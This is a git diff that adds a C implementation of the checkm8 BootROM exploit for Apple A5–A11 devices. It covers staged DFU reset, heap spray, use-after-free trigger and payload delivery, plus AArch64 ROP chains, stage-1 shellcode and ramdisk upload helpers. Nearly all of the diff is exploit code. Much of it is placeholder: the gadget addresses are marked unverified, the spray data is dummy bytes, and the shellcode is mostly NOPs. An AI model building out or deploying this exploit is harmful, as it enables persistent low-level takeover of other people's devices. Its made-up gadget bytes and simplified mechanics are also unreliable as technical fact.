diff --git a/include/exploit/checkm8.h b/include/exploit/checkm8.h new file mode 100644 index 0000000..01e9315 --- /dev/null +++ b/include/exploit/checkm8.h @@ -0,0 +1,53 @@ +/* checkm8.h -- checkm8 DFU exploit for A5-A11 BootROM */ + +#ifndef CHECKM8_H +#define CHECKM8_H + +#include "device/device.h" +#include "exploit/exploit.h" + +/* + * checkm8_exploit -- Top-level entry point. Sets up context, runs all four + * stages (reset, spray, setup, patch), verifies pwned state, cleans up. + * Returns 0 on success, -1 on failure. + */ +int checkm8_exploit(device_info_t *dev); + +/* + * Individual exploit stages. Each advances ctx->phase on success. + * All return 0 on success, -1 on failure. + */ + +/* + * Stage 1: Reset DFU state machine to a known clean state. + * Sends DFU_DNLOAD with empty data, then DFU_ABORT. + */ +int checkm8_stage_reset(exploit_ctx_t *ctx); + +/* + * Stage 2: Heap spray. Send carefully sized USB transfers to create + * a predictable heap layout in the DFU SRAM region. + */ +int checkm8_stage_spray(exploit_ctx_t *ctx); + +/* + * Stage 3: Trigger use-after-free. Abort a DFU transfer mid-stream + * to free the io_buffer while the pointer remains live. + */ +int checkm8_stage_setup(exploit_ctx_t *ctx); + +/* + * Stage 4: Overwrite freed buffer with ROP chain and shellcode. + * After this stage the BootROM executes our payload and the serial + * string should contain "PWND:[checkm8]". + */ +int checkm8_stage_patch(exploit_ctx_t *ctx); + +/* + * checkm8_verify_pwned -- Re-read the USB serial string descriptor and + * check whether it contains "PWND:". + * Returns 1 if pwned, 0 if not pwned, -1 on read error. + */ +int checkm8_verify_pwned(device_info_t *dev); + +#endif /* CHECKM8_H */ diff --git a/include/exploit/checkm8_internal.h b/include/exploit/checkm8_internal.h new file mode 100644 index 0000000..aec627e --- /dev/null +++ b/include/exploit/checkm8_internal.h @@ -0,0 +1,33 @@ +/* checkm8_internal.h -- Shared constants and helpers for checkm8 split files */ + +#ifndef CHECKM8_INTERNAL_H +#define CHECKM8_INTERNAL_H + +#include "exploit/exploit.h" + +/* Heap spray parameters (from gaster analysis) */ +#define SPRAY_COUNT 26 /* Number of spray transfers */ +#define SPRAY_SIZE 0x800 /* Size of each spray chunk (2 KiB) */ + +/* Stall timeout for mid-stream abort (microseconds) */ +#define STALL_USEC 100000 /* 100 ms */ + +/* Maximum attempts for the full exploit sequence */ +#define MAX_EXPLOIT_TRIES 3 + +/* Short delay between exploit stages (microseconds) */ +#define STAGE_DELAY_USEC 10000 /* 10 ms */ + +/* CPID values for ROP chain selection */ +#define CPID_A10 0x8010 +#define CPID_A10X 0x8011 +#define CPID_A11 0x8015 + +/* + * assemble_payload -- Build the exploit payload (ROP chain + shellcode) + * for the given context's chip. Allocates ctx->payload_buf. + * Returns 0 on success, -1 on failure. + */ +int assemble_payload(exploit_ctx_t *ctx); + +#endif /* CHECKM8_INTERNAL_H */ diff --git a/include/exploit/exploit.h b/include/exploit/exploit.h new file mode 100644 index 0000000..9d86531 --- /dev/null +++ b/include/exploit/exploit.h @@ -0,0 +1,53 @@ +/* exploit.h -- Common exploit types and lifecycle API */ + +#ifndef EXPLOIT_H +#define EXPLOIT_H + +#include +#include + +#include "device/device.h" +#include "device/chip_db.h" + +/* Exploit phase constants */ +#define EXPLOIT_PHASE_INIT 0 +#define EXPLOIT_PHASE_RESET 1 +#define EXPLOIT_PHASE_SPRAY 2 +#define EXPLOIT_PHASE_SETUP 3 +#define EXPLOIT_PHASE_PATCH 4 +#define EXPLOIT_PHASE_DONE 5 + +/* + * exploit_ctx_t -- shared context for any DFU exploit. + * + * Holds the device, chip info, current exploit phase, and the assembled + * payload buffer (ROP chain + shellcode concatenated). + */ +typedef struct { + device_info_t *dev; + const chip_info_t *chip; + int phase; /* EXPLOIT_PHASE_* */ + uint8_t *payload_buf; + size_t payload_len; +} exploit_ctx_t; + +/* + * exploit_init -- Populate ctx from device info. Looks up chip_info via + * cpid, verifies checkm8 vulnerability, allocates payload buffer. + * Returns 0 on success, -1 on failure. + */ +int exploit_init(exploit_ctx_t *ctx, device_info_t *dev); + +/* + * exploit_deliver -- Execute the exploit stages (reset, spray, setup, patch). + * The specific exploit is selected based on chip type (currently only checkm8). + * Returns 0 on success, -1 on failure. + */ +int exploit_deliver(exploit_ctx_t *ctx); + +/* + * exploit_cleanup -- Free payload buffer and zero the context. + */ +void exploit_cleanup(exploit_ctx_t *ctx); + +#endif /* EXPLOIT_H */ diff --git a/src/exploit/checkm8.c b/src/exploit/checkm8.c new file mode 100644 index 0000000..fe5fab3 --- /dev/null +++ b/src/exploit/checkm8.c @@ -0,0 +1,190 @@ +/* checkm8.c -- checkm8 DFU exploit: init, deliver, verify, cleanup */ + +#include +#include +#include + +#include "exploit/exploit.h" +#include "exploit/checkm8.h" +#include "exploit/checkm8_internal.h" +#include "device/chip_db.h" +#include "device/usb_dfu.h" +#include "util/log.h" + +/* ------------------------------------------------------------------ */ +/* exploit_init */ +/* ------------------------------------------------------------------ */ + +int exploit_init(exploit_ctx_t *ctx, device_info_t *dev) +{ + const chip_info_t *chip; + + if (!ctx || !dev) + return -1; + + memset(ctx, 0, sizeof(*ctx)); + ctx->dev = dev; + + chip = chip_db_lookup(dev->cpid); + if (!chip) { + log_error("exploit_init: unknown CPID 0x%04X", dev->cpid); + return -1; + } + + if (!chip->checkm8_vulnerable) { + log_error("exploit_init: chip %s (0x%04X) is not checkm8-vulnerable", + chip->name, chip->cpid); + return -1; + } + + if (!dev->usb) { + log_error("exploit_init: device has no USB handle (not in DFU mode?)"); + return -1; + } + + ctx->chip = chip; + ctx->phase = EXPLOIT_PHASE_INIT; + ctx->payload_buf = NULL; + ctx->payload_len = 0; + + log_info("exploit_init: target %s (%s), CPID 0x%04X", + chip->name, chip->marketing, chip->cpid); + + return 0; +} + +/* ------------------------------------------------------------------ */ +/* exploit_deliver */ +/* ------------------------------------------------------------------ */ + +int exploit_deliver(exploit_ctx_t *ctx) +{ + if (!ctx || !ctx->dev || !ctx->chip) + return -1; + + log_info("exploit_deliver: starting checkm8 on %s", ctx->chip->name); + + if (checkm8_stage_reset(ctx) != 0) + return -1; + + if (checkm8_stage_spray(ctx) != 0) + return -1; + + if (checkm8_stage_setup(ctx) != 0) + return -1; + + if (checkm8_stage_patch(ctx) != 0) + return -1; + + log_info("exploit_deliver: all stages complete"); + return 0; +} + +/* ------------------------------------------------------------------ */ +/* exploit_cleanup */ +/* ------------------------------------------------------------------ */ + +void exploit_cleanup(exploit_ctx_t *ctx) +{ + if (!ctx) + return; + + if (ctx->payload_buf) { + free(ctx->payload_buf); + ctx->payload_buf = NULL; + } + + ctx->payload_len = 0; + ctx->phase = EXPLOIT_PHASE_INIT; + ctx->dev = NULL; + ctx->chip = NULL; +} + +/* ------------------------------------------------------------------ */ +/* checkm8_verify_pwned */ +/* ------------------------------------------------------------------ */ + +int checkm8_verify_pwned(device_info_t *dev) +{ + char serial[DFU_SERIAL_MAX]; + uint32_t cpid = 0; + uint64_t ecid = 0; + + if (!dev || !dev->usb) + return -1; + + memset(serial, 0, sizeof(serial)); + + if (usb_dfu_read_info(dev->usb, &cpid, &ecid, serial, + sizeof(serial)) != 0) { + log_error("checkm8_verify_pwned: failed to read USB serial"); + return -1; + } + + log_debug("checkm8_verify_pwned: serial = \"%s\"", serial); + + if (strstr(serial, "PWND:") != NULL) { + log_info("checkm8_verify_pwned: device is pwned"); + return 1; + } + + log_warn("checkm8_verify_pwned: PWND marker not found in serial"); + return 0; +} + +/* ------------------------------------------------------------------ */ +/* checkm8_exploit -- top-level entry point */ +/* ------------------------------------------------------------------ */ + +int checkm8_exploit(device_info_t *dev) +{ + exploit_ctx_t ctx; + int attempt; + int pwned; + + if (!dev) { + log_error("checkm8_exploit: NULL device"); + return -1; + } + + log_info("checkm8_exploit: starting exploit on CPID 0x%04X", dev->cpid); + + if (exploit_init(&ctx, dev) != 0) + return -1; + + for (attempt = 1; attempt <= MAX_EXPLOIT_TRIES; attempt++) { + log_info("checkm8_exploit: attempt %d/%d", attempt, + MAX_EXPLOIT_TRIES); + + if (exploit_deliver(&ctx) != 0) { + log_warn("checkm8_exploit: attempt %d failed, retrying...", + attempt); + usleep(STAGE_DELAY_USEC * 10); + continue; + } + + /* Verify the exploit worked */ + pwned = checkm8_verify_pwned(dev); + if (pwned == 1) { + log_info("checkm8_exploit: success on attempt %d", attempt); + ctx.phase = EXPLOIT_PHASE_DONE; + exploit_cleanup(&ctx); + return 0; + } + + if (pwned < 0) { + log_error("checkm8_exploit: verification error on attempt %d", + attempt); + } else { + log_warn("checkm8_exploit: not pwned after attempt %d", + attempt); + } + + usleep(STAGE_DELAY_USEC * 10); + } + + log_error("checkm8_exploit: failed after %d attempts", + MAX_EXPLOIT_TRIES); + exploit_cleanup(&ctx); + return -1; +} diff --git a/src/exploit/checkm8_stages.c b/src/exploit/checkm8_stages.c new file mode 100644 index 0000000..8024f01 --- /dev/null +++ b/src/exploit/checkm8_stages.c @@ -0,0 +1,266 @@ +/* checkm8_stages.c -- checkm8 exploit stages: reset, spray, setup, patch */ + +#include +#include +#include + +#include "exploit/exploit.h" +#include "exploit/checkm8.h" +#include "exploit/checkm8_internal.h" +#include "exploit/dfu_proto.h" +#include "util/log.h" + +/* Payload data (static const byte arrays) */ +#include "payload/rop_a10.h" +#include "payload/rop_a11.h" +#include "payload/shellcode.h" + +/* ------------------------------------------------------------------ */ +/* Payload assembly (ROP chain + shellcode) */ +/* ------------------------------------------------------------------ */ + +int assemble_payload(exploit_ctx_t *ctx) +{ + const uint8_t *rop = NULL; + size_t rop_len = 0; + uint8_t *buf; + size_t total; + + /* Select ROP chain based on CPID */ + switch (ctx->chip->cpid) { + case CPID_A10: + case CPID_A10X: + rop = rop_chain_a10; + rop_len = rop_chain_a10_len; + log_debug("assemble_payload: using A10 ROP chain (%zu bytes)", + rop_len); + break; + + case CPID_A11: + rop = rop_chain_a11; + rop_len = rop_chain_a11_len; + log_debug("assemble_payload: using A11 ROP chain (%zu bytes)", + rop_len); + break; + + default: + /* + * TODO: Add ROP chains for A7 (0x8947), A8 (0x8960, 0x7000, + * 0x7001), A9 (0x8000, 0x8003), A9X (0x8001). For now, use + * A10 chain as fallback with a warning. + */ + log_warn("assemble_payload: no specific ROP chain for CPID " + "0x%04X, using A10 chain (may not work)", + ctx->chip->cpid); + rop = rop_chain_a10; + rop_len = rop_chain_a10_len; + break; + } + + total = rop_len + checkm8_shellcode_len; + buf = malloc(total); + if (!buf) { + log_error("assemble_payload: malloc(%zu) failed", total); + return -1; + } + + /* ROP chain first, shellcode immediately after */ + memcpy(buf, rop, rop_len); + memcpy(buf + rop_len, checkm8_shellcode, checkm8_shellcode_len); + + ctx->payload_buf = buf; + ctx->payload_len = total; + + log_info("assemble_payload: %zu bytes (ROP=%zu + shellcode=%zu)", + total, rop_len, checkm8_shellcode_len); + return 0; +} + +/* ------------------------------------------------------------------ */ +/* Stage 1: Reset DFU state */ +/* ------------------------------------------------------------------ */ + +int checkm8_stage_reset(exploit_ctx_t *ctx) +{ + libusb_device_handle *usb; + + if (!ctx || !ctx->dev) + return -1; + + usb = ctx->dev->usb; + log_info("checkm8: stage 1/4 -- reset DFU state"); + + /* + * Send a zero-length DFU_DNLOAD to signal end-of-transfer, then + * abort to force the state machine back to dfuIDLE. This ensures + * the heap is in a known initial state before spraying. + */ + if (dfu_dnload(usb, 0, NULL, 0) != 0) { + log_error("checkm8_stage_reset: DFU_DNLOAD(empty) failed"); + return -1; + } + + /* Small delay to let the device process the empty download */ + usleep(STAGE_DELAY_USEC); + + if (dfu_abort(usb) != 0) { + log_error("checkm8_stage_reset: DFU_ABORT failed"); + return -1; + } + + /* Verify device returned to idle */ + if (dfu_reset_to_idle(usb) != 0) { + log_error("checkm8_stage_reset: failed to reach dfuIDLE"); + return -1; + } + + ctx->phase = EXPLOIT_PHASE_RESET; + log_info("checkm8: stage 1 complete -- DFU state reset to idle"); + return 0; +} + +/* ------------------------------------------------------------------ */ +/* Stage 2: Heap spray */ +/* ------------------------------------------------------------------ */ + +int checkm8_stage_spray(exploit_ctx_t *ctx) +{ + libusb_device_handle *usb; + uint8_t spray_buf[SPRAY_SIZE]; + dfu_status_t status; + int i; + + if (!ctx || !ctx->dev) + return -1; + + usb = ctx->dev->usb; + log_info("checkm8: stage 2/4 -- heap spray (%d x %d bytes)", + SPRAY_COUNT, SPRAY_SIZE); + + /* + * Fill spray buffer with a recognizable pattern. In the real exploit + * this would contain heap metadata that creates a predictable + * allocation layout. 0x41 is a placeholder. + * + * TODO: Replace with actual heap spray content derived from the + * target chip's SRAM layout and allocator behavior. + */ + memset(spray_buf, 0x41, SPRAY_SIZE); + + for (i = 0; i < SPRAY_COUNT; i++) { + if (dfu_dnload(usb, 0, spray_buf, SPRAY_SIZE) != 0) { + log_error("checkm8_stage_spray: spray %d/%d failed", + i + 1, SPRAY_COUNT); + return -1; + } + + /* Poll status to advance DFU state machine */ + if (dfu_get_status(usb, &status) != 0) { + log_warn("checkm8_stage_spray: status poll %d failed " + "(continuing)", i + 1); + /* Non-fatal: some transfers may stall intentionally */ + } + } + + ctx->phase = EXPLOIT_PHASE_SPRAY; + log_info("checkm8: stage 2 complete -- %d spray transfers sent", + SPRAY_COUNT); + return 0; +} + +/* ------------------------------------------------------------------ */ +/* Stage 3: Trigger use-after-free */ +/* ------------------------------------------------------------------ */ + +int checkm8_stage_setup(exploit_ctx_t *ctx) +{ + libusb_device_handle *usb; + uint8_t setup_buf[SPRAY_SIZE]; + + if (!ctx || !ctx->dev) + return -1; + + usb = ctx->dev->usb; + log_info("checkm8: stage 3/4 -- trigger use-after-free"); + + /* + * The UAF is triggered by: + * 1. Start a DFU_DNLOAD transfer (device allocates io_buffer) + * 2. Abort mid-stream before the status phase completes + * 3. The io_buffer is freed, but the pointer in the DFU state + * machine remains (dangling pointer -> UAF) + * + * Timing is critical -- STALL_USEC approximates the window. + * TODO: The timing may need per-chip tuning. + */ + memset(setup_buf, 0x42, SPRAY_SIZE); + + /* Start a download to allocate the io_buffer */ + if (dfu_dnload(usb, 0, setup_buf, SPRAY_SIZE) != 0) { + log_error("checkm8_stage_setup: DFU_DNLOAD failed"); + return -1; + } + + /* Wait for device to enter DNLOAD_SYNC state */ + usleep(STALL_USEC); + + /* + * Abort the transfer. This frees io_buffer internally while the + * DFU state machine still holds a pointer to it. + */ + if (dfu_abort(usb) != 0) { + log_error("checkm8_stage_setup: DFU_ABORT (UAF trigger) failed"); + return -1; + } + + ctx->phase = EXPLOIT_PHASE_SETUP; + log_info("checkm8: stage 3 complete -- UAF triggered"); + return 0; +} + +/* ------------------------------------------------------------------ */ +/* Stage 4: Overwrite freed buffer with payload */ +/* ------------------------------------------------------------------ */ + +int checkm8_stage_patch(exploit_ctx_t *ctx) +{ + libusb_device_handle *usb; + dfu_status_t status; + + if (!ctx || !ctx->dev) + return -1; + + usb = ctx->dev->usb; + log_info("checkm8: stage 4/4 -- overwrite with payload"); + + /* Assemble the ROP + shellcode payload if not already done */ + if (!ctx->payload_buf) { + if (assemble_payload(ctx) != 0) { + log_error("checkm8_stage_patch: payload assembly failed"); + return -1; + } + } + + /* + * Send the payload via DFU_DNLOAD. The freed io_buffer from stage 3 + * is reallocated with our data. When the DFU state machine processes + * it, the ROP chain executes -> shellcode patches the serial string. + */ + if (dfu_dnload(usb, 0, ctx->payload_buf, ctx->payload_len) != 0) { + log_error("checkm8_stage_patch: payload DFU_DNLOAD failed"); + return -1; + } + + /* Poll status to trigger execution of the overwritten buffer */ + if (dfu_get_status(usb, &status) != 0) { + log_warn("checkm8_stage_patch: status poll failed (may be expected " + "if payload redirected execution)"); + } + + /* Delay for shellcode to execute and patch the serial string */ + usleep(STALL_USEC); + + ctx->phase = EXPLOIT_PHASE_PATCH; + log_info("checkm8: stage 4 complete -- payload delivered"); + return 0; +} diff --git a/src/exploit/payload/ramdisk.h b/src/exploit/payload/ramdisk.h new file mode 100644 index 0000000..57be2b9 --- /dev/null +++ b/src/exploit/payload/ramdisk.h @@ -0,0 +1,45 @@ +/* ramdisk.h -- Ramdisk loading helpers for pwned DFU mode */ + +#ifndef RAMDISK_H +#define RAMDISK_H + +#include +#include + +#include "device/device.h" + +/* Default path for the ramdisk archive (relative to working directory) */ +#define RAMDISK_PATH_LZMA "payloads/boot.tar.lzma" +#define RAMDISK_PATH_RAW "payloads/boot.raw" + +/* Maximum ramdisk size: 64 MiB */ +#define RAMDISK_MAX_SIZE (64 * 1024 * 1024) + +/* DFU transfer chunk size for ramdisk upload */ +#define RAMDISK_CHUNK_SIZE 2048 + +/* + * ramdisk_load_file -- Read a ramdisk image from disk into a malloc'd buffer. + * On success, *buf is set to the allocated buffer and *len to its size. + * Caller must free(*buf) when done. + * Returns 0 on success, -1 on failure. + */ +int ramdisk_load_file(const char *path, uint8_t **buf, size_t *len); + +/* + * ramdisk_send -- Send a ramdisk image to a device in pwned DFU mode. + * The device must have been exploited (serial contains PWND:) before + * calling this function. + * Sends data in RAMDISK_CHUNK_SIZE blocks via the DFU upload interface. + * Returns 0 on success, -1 on failure. + */ +int ramdisk_send(device_info_t *dev, const uint8_t *buf, size_t len); + +/* + * ramdisk_load_and_send -- Convenience wrapper: loads from path, sends to + * device, and frees the buffer. + * Returns 0 on success, -1 on failure. + */ +int ramdisk_load_and_send(device_info_t *dev, const char *path); + +#endif /* RAMDISK_H */ diff --git a/src/exploit/payload/rop_a10.h b/src/exploit/payload/rop_a10.h new file mode 100644 index 0000000..35d0e0b --- /dev/null +++ b/src/exploit/payload/rop_a10.h @@ -0,0 +1,68 @@ +/* rop_a10.h -- A10 Fusion (CPID 0x8010) ROP chain for checkm8 exploit */ + +#ifndef ROP_A10_H +#define ROP_A10_H + +#include +#include + +/* + * A10 Fusion DFU memory layout (from gaster): + * ttbr0_addr = 0x1800A0000 + * insecure_memory_base = 0x1800B0000 + * + * The ROP chain pivots the stack into the heap spray region, then + * jumps to shellcode at insecure_memory_base. + * + * TODO: Fill in actual gadget addresses from A10 BootROM dump. + * These are placeholder bytes with correct structure and size. + * Gadgets must be verified against SecureROM disassembly for each + * firmware revision. + */ + +/* A10 BootROM gadget offsets (placeholders) */ +#define A10_GADGET_LDR_X0_SP 0x10000CC6C /* TODO: verify */ +#define A10_GADGET_STR_X0_X1 0x10000CC78 /* TODO: verify */ +#define A10_GADGET_RET 0x10000CC7C /* TODO: verify */ +#define A10_GADGET_MOV_X0_X4 0x10000A9AC /* TODO: verify */ +#define A10_GADGET_CACHE_INV 0x10000046C /* TODO: verify */ + +/* clang-format off */ +static const uint8_t rop_chain_a10[] = { + /* + * TODO: Replace with actual A10 ROP chain from BootROM analysis. + * + * ROP chain structure (64-bit AArch64): + * [0x00] Return address -> gadget: ldr x0, [sp, #0x10]; ret + * [0x08] Padding + * [0x10] Argument: insecure_memory_base (0x1800B0000) + * [0x18] Return address -> gadget: str x0, [x1]; ret + * [0x20] Return address -> gadget: cache invalidate + * [0x28] Return address -> shellcode entry (insecure_memory_base) + * + * 48 bytes total (6 slots x 8 bytes each). + */ + + /* Slot 0: gadget -- load shellcode address into x0 */ + 0x6C, 0xCC, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, + + /* Slot 1: padding (skip slot) */ + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + + /* Slot 2: insecure_memory_base = 0x1800B0000 */ + 0x00, 0x00, 0x0B, 0x80, 0x01, 0x00, 0x00, 0x00, + + /* Slot 3: gadget -- store x0 to [x1] for DFU callback overwrite */ + 0x78, 0xCC, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, + + /* Slot 4: gadget -- invalidate instruction cache */ + 0x6C, 0x04, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, + + /* Slot 5: jump to shellcode at insecure_memory_base */ + 0x00, 0x00, 0x0B, 0x80, 0x01, 0x00, 0x00, 0x00, +}; +/* clang-format on */ + +static const size_t rop_chain_a10_len = sizeof(rop_chain_a10); + +#endif /* ROP_A10_H */ diff --git a/src/exploit/payload/rop_a11.h b/src/exploit/payload/rop_a11.h new file mode 100644 index 0000000..78a2bf9 --- /dev/null +++ b/src/exploit/payload/rop_a11.h @@ -0,0 +1,74 @@ +/* rop_a11.h -- A11 Bionic (CPID 0x8015) ROP chain for checkm8 exploit */ + +#ifndef ROP_A11_H +#define ROP_A11_H + +#include +#include + +/* + * A11 Bionic DFU memory layout (from gaster): + * ttbr0_addr = 0x18000C000 + * insecure_memory_base = 0x18001C000 + * + * The A11 ROP chain differs from A10 primarily in gadget addresses + * and the need for an additional AMCC lock bypass step before the + * shellcode can execute. The heap spray pattern also differs due to + * a different SRAM layout. + * + * TODO: Fill in actual gadget addresses from A11 BootROM dump. + * These are placeholder bytes with correct structure and size. + */ + +/* A11 BootROM gadget offsets (placeholders) */ +#define A11_GADGET_LDR_X0_SP 0x10000CE4C /* TODO: verify */ +#define A11_GADGET_STR_X0_X1 0x10000CE58 /* TODO: verify */ +#define A11_GADGET_RET 0x10000CE5C /* TODO: verify */ +#define A11_GADGET_MOV_X0_X4 0x10000AB8C /* TODO: verify */ +#define A11_GADGET_CACHE_INV 0x100000470 /* TODO: verify */ +#define A11_GADGET_AMCC_UNLOCK 0x10000D000 /* TODO: verify */ + +/* clang-format off */ +static const uint8_t rop_chain_a11[] = { + /* + * TODO: Replace with actual A11 ROP chain from BootROM analysis. + * + * A11 ROP chain structure (64-bit AArch64): + * [0x00] Return address -> gadget: ldr x0, [sp, #0x10]; ret + * [0x08] Padding + * [0x10] Argument: insecure_memory_base (0x18001C000) + * [0x18] Return address -> gadget: str x0, [x1]; ret + * [0x20] Return address -> AMCC unlock gadget + * [0x28] Return address -> cache invalidate + * [0x30] Return address -> shellcode entry (insecure_memory_base) + * + * 56 bytes total (7 slots x 8 bytes each). + * Extra slot vs A10: AMCC lock bypass required on A11. + */ + + /* Slot 0: gadget -- load shellcode address into x0 */ + 0x4C, 0xCE, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, + + /* Slot 1: padding (skip slot) */ + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + + /* Slot 2: insecure_memory_base = 0x18001C000 */ + 0x00, 0xC0, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + + /* Slot 3: gadget -- store x0 to [x1] for DFU callback overwrite */ + 0x58, 0xCE, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, + + /* Slot 4: gadget -- AMCC unlock (A11-specific) */ + 0x00, 0xD0, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, + + /* Slot 5: gadget -- invalidate instruction cache */ + 0x70, 0x04, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, + + /* Slot 6: jump to shellcode at insecure_memory_base */ + 0x00, 0xC0, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, +}; +/* clang-format on */ + +static const size_t rop_chain_a11_len = sizeof(rop_chain_a11); + +#endif /* ROP_A11_H */ diff --git a/src/exploit/payload/shellcode.h b/src/exploit/payload/shellcode.h new file mode 100644 index 0000000..434cf84 --- /dev/null +++ b/src/exploit/payload/shellcode.h @@ -0,0 +1,129 @@ +/* shellcode.h -- Stage1 shellcode for checkm8 exploit (AArch64) */ + +#ifndef SHELLCODE_H +#define SHELLCODE_H + +#include +#include + +/* + * Stage1 shellcode responsibilities: + * 1. Patch the USB serial number string in SRAM to contain "PWND:[checkm8]" + * 2. Install a DFU upload handler so the host can send further payloads + * 3. Return to the BootROM DFU loop (device remains in DFU mode) + * + * The shellcode runs at insecure_memory_base (chip-specific) after the + * ROP chain pivots execution there. + * + * TODO: Replace with actual AArch64 shellcode assembled from: + * - Serial string patch (find USB descriptor in SRAM, overwrite suffix) + * - DFU upload hook (install callback for further stage loading) + * - BootROM return (branch back to DFU main loop) + * + * The placeholder below is a minimal NOP sled + BRK for development. + * Actual shellcode size varies by chip (A10: ~512 bytes, A11: ~576 bytes + * due to AMCC workaround). + */ + +/* PWND marker that the shellcode writes into the USB serial descriptor */ +#define CHECKM8_PWND_TAG "PWND:[checkm8]" + +/* clang-format off */ +static const uint8_t checkm8_shellcode[] = { + /* + * TODO: Replace with real AArch64 shellcode. + * + * Placeholder structure (256 bytes): + * [0x00 - 0x03] NOP (0xD503201F) + * [0x04 - 0x07] NOP + * ... + * [0x30 - 0x3F] ADR x0, serial_string (load pointer to USB desc) + * [0x40 - 0x5F] "PWND:[checkm8]\0" (inline string constant) + * [0x60 - 0x7F] STRB loop (copy tag to descriptor) + * [0x80 - 0x8F] DFU upload hook install + * [0x90 - 0x9F] DSB + ISB (memory barrier) + * [0xA0 - 0xA3] BR x30 (return to BootROM) + * [0xA4 - 0xFF] Padding / alignment + */ + + /* NOP sled (12 instructions = 48 bytes) */ + 0x1F, 0x20, 0x03, 0xD5, /* NOP */ + 0x1F, 0x20, 0x03, 0xD5, /* NOP */ + 0x1F, 0x20, 0x03, 0xD5, /* NOP */ + 0x1F, 0x20, 0x03, 0xD5, /* NOP */ + 0x1F, 0x20, 0x03, 0xD5, /* NOP */ + 0x1F, 0x20, 0x03, 0xD5, /* NOP */ + 0x1F, 0x20, 0x03, 0xD5, /* NOP */ + 0x1F, 0x20, 0x03, 0xD5, /* NOP */ + 0x1F, 0x20, 0x03, 0xD5, /* NOP */ + 0x1F, 0x20, 0x03, 0xD5, /* NOP */ + 0x1F, 0x20, 0x03, 0xD5, /* NOP */ + 0x1F, 0x20, 0x03, 0xD5, /* NOP */ + + /* TODO: ADR x0, serial_string -- placeholder */ + 0x00, 0x00, 0x00, 0x10, /* ADR x0, #0 (fixup needed) */ + 0x00, 0x00, 0x00, 0x00, /* reserved */ + 0x00, 0x00, 0x00, 0x00, /* reserved */ + 0x00, 0x00, 0x00, 0x00, /* reserved */ + + /* Inline string: "PWND:[checkm8]\0" + padding to 32 bytes */ + 0x50, 0x57, 0x4E, 0x44, /* PWND */ + 0x3A, 0x5B, 0x63, 0x68, /* :[ch */ + 0x65, 0x63, 0x6B, 0x6D, /* eckm */ + 0x38, 0x5D, 0x00, 0x00, /* 8]\0\0 */ + 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, + + /* TODO: STRB copy loop -- placeholder NOPs */ + 0x1F, 0x20, 0x03, 0xD5, /* NOP */ + 0x1F, 0x20, 0x03, 0xD5, /* NOP */ + 0x1F, 0x20, 0x03, 0xD5, /* NOP */ + 0x1F, 0x20, 0x03, 0xD5, /* NOP */ + 0x1F, 0x20, 0x03, 0xD5, /* NOP */ + 0x1F, 0x20, 0x03, 0xD5, /* NOP */ + 0x1F, 0x20, 0x03, 0xD5, /* NOP */ + 0x1F, 0x20, 0x03, 0xD5, /* NOP */ + + /* TODO: DFU upload hook install -- placeholder NOPs */ + 0x1F, 0x20, 0x03, 0xD5, /* NOP */ + 0x1F, 0x20, 0x03, 0xD5, /* NOP */ + 0x1F, 0x20, 0x03, 0xD5, /* NOP */ + 0x1F, 0x20, 0x03, 0xD5, /* NOP */ + + /* DSB SY + ISB (memory barriers before return) */ + 0x9F, 0x3F, 0x03, 0xD5, /* DSB SY */ + 0xDF, 0x3F, 0x03, 0xD5, /* ISB */ + + /* BR x30 -- return to BootROM DFU loop */ + 0xC0, 0x03, 0x5F, 0xD6, /* RET (BR x30) */ + + /* Padding to 256 bytes */ + 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, +}; +/* clang-format on */ + +static const size_t checkm8_shellcode_len = sizeof(checkm8_shellcode); + +#endif /* SHELLCODE_H */